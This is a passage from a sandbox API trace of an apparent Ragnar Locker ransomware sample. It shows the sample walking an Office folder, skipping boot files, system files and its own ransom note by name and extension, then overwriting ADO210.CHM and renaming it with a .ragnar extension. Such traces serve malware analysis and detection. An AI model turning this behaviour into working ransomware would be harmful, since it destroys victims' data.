ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0058.926] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0058.926] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x755cc7a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x755cc7a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x755cc7a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x755cc7a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.927] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0058.927] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0058.927] lstrcpyW (in: lpString1=0x1eab6a, lpString2="ACEINTL.DLL" | out: lpString1="ACEINTL.DLL") returned="ACEINTL.DLL" [0058.927] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned=".DLL" [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="autorun.inf") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="boot.ini") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="bootfont.bin") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="bootsect.bak") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="bootmgr") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="bootmgr.efi") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="bootmgfw.efi") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="desktop.ini") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="iconcache.db") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="ntldr") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="ntuser.dat") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="ntuser.dat.log") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="ntuser.ini") returned -1 [0058.927] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="thumbs.db") returned -1 [0058.927] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0058.927] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0058.927] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0058.927] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0058.927] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0058.927] lstrcpyW (in: lpString1=0x1eab6a, lpString2="ACEODBCI.DLL" | out: lpString1="ACEODBCI.DLL") returned="ACEODBCI.DLL" [0058.927] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned=".DLL" [0058.927] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.927] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="autorun.inf") returned -1 [0058.927] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="boot.ini") returned -1 [0058.927] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="bootfont.bin") returned -1 [0058.927] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="bootsect.bak") returned -1 [0058.927] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="bootmgr") returned -1 [0058.927] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="bootmgr.efi") returned -1 [0058.927] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="bootmgfw.efi") returned -1 [0058.928] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="desktop.ini") returned -1 [0058.928] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="iconcache.db") returned -1 [0058.928] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="ntldr") returned -1 [0058.928] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="ntuser.dat") returned -1 [0058.928] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="ntuser.dat.log") returned -1 [0058.928] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="ntuser.ini") returned -1 [0058.928] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="thumbs.db") returned -1 [0058.928] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0058.928] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0058.928] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0058.928] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0058.928] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0058.928] lstrcpyW (in: lpString1=0x1eab6a, lpString2="ACERECR.DLL" | out: lpString1="ACERECR.DLL") returned="ACERECR.DLL" [0058.928] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned=".DLL" [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="autorun.inf") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="boot.ini") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="bootfont.bin") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="bootsect.bak") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="bootmgr") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="bootmgr.efi") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="bootmgfw.efi") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="desktop.ini") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="iconcache.db") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="ntldr") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="ntuser.dat") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="ntuser.dat.log") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="ntuser.ini") returned -1 [0058.928] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="thumbs.db") returned -1 [0058.928] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0058.928] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0058.928] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0058.928] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0058.928] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0058.928] lstrcpyW (in: lpString1=0x1eab6a, lpString2="ACEWSTR.DLL" | out: lpString1="ACEWSTR.DLL") returned="ACEWSTR.DLL" [0058.928] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned=".DLL" [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="autorun.inf") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="boot.ini") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="bootfont.bin") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="bootsect.bak") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="bootmgr") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="bootmgr.efi") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="bootmgfw.efi") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="desktop.ini") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="iconcache.db") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="ntldr") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="ntuser.dat") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="ntuser.dat.log") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="ntuser.ini") returned -1 [0058.929] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="thumbs.db") returned -1 [0058.929] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0058.929] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0058.929] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0058.929] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0058.929] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0058.929] lstrcpyW (in: lpString1=0x1eab6a, lpString2="ADO210.CHM" | out: lpString1="ADO210.CHM") returned="ADO210.CHM" [0058.929] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned=".CHM" [0058.929] lstrcmpiW (lpString1="ADO210.CHM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.929] lstrcmpiW (lpString1="ADO210.CHM", lpString2="autorun.inf") returned -1 [0058.929] lstrcmpiW (lpString1="ADO210.CHM", lpString2="boot.ini") returned -1 [0058.929] lstrcmpiW (lpString1="ADO210.CHM", lpString2="bootfont.bin") returned -1 [0058.929] lstrcmpiW (lpString1="ADO210.CHM", lpString2="bootsect.bak") returned -1 [0058.929] lstrcmpiW (lpString1="ADO210.CHM", lpString2="bootmgr") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="bootmgr.efi") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="bootmgfw.efi") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="desktop.ini") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="iconcache.db") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="ntldr") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="ntuser.dat") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="ntuser.dat.log") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="ntuser.ini") returned -1 [0058.930] lstrcmpiW (lpString1="ADO210.CHM", lpString2="thumbs.db") returned -1 [0058.930] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0058.930] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0058.930] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0058.930] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0058.930] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0058.930] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0058.930] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0058.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0x20 [0058.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0058.930] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1680383) returned 1 [0058.930] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x19a3f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.931] GetProcessHeap () returned 0x580000 [0058.931] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0058.931] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0058.943] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0058.943] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.943] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0058.944] ReadFile (in: hFile=0x108, lpBuffer=0x300000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1ea45c*=0x100000, lpOverlapped=0x0) returned 1 [0059.858] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0059.863] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100000, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.864] WriteFile (in: hFile=0x108, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1ea458*=0x100000, lpOverlapped=0x0) returned 1 [0059.867] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.867] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.872] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x19a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.872] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.872] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0059.872] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0059.872] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0059.872] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.872] GetProcessHeap () returned 0x580000 [0059.872] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0059.872] CloseHandle (hObject=0x108) returned 1 [0059.923] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" [0059.923] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.ragnar_FD7BD9FC" [0059.923] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0059.924] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0059.924] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0059.924] lstrcpyW (in: lpString1=0x1eab6a, lpString2="ALRTINTL.DLL" | out: lpString1="ALRTINTL.DLL") returned="ALRTINTL.DLL" [0059.924] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned=".DLL" [0059.924] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="autorun.inf") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="boot.ini") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="bootfont.bin") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="bootsect.bak") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="bootmgr") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="bootmgr.efi") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="bootmgfw.efi") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="desktop.ini") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="iconcache.db") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="ntldr") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="ntuser.dat") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="ntuser.dat.log") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="ntuser.ini") returned -1 [0059.925] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="thumbs.db") returned -1 [0059.925] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0059.925] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0059.925] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0059.925] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0059.925] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0059.925] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSOINTL.DLL" | out: lpString1="MSOINTL.DLL") returned="MSOINTL.DLL" [0059.925] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned=".DLL" [0059.925] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0059.925] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="autorun.inf") returned 1 [0059.925] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="boot.ini") returned 1 [0059.925] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="bootfont.bin") returned 1 [0059.925] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="bootsect.bak") returned 1 [0059.925] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="bootmgr") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="bootmgr.efi") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="bootmgfw.efi") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="desktop.ini") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="iconcache.db") returned 1 [0059.926] 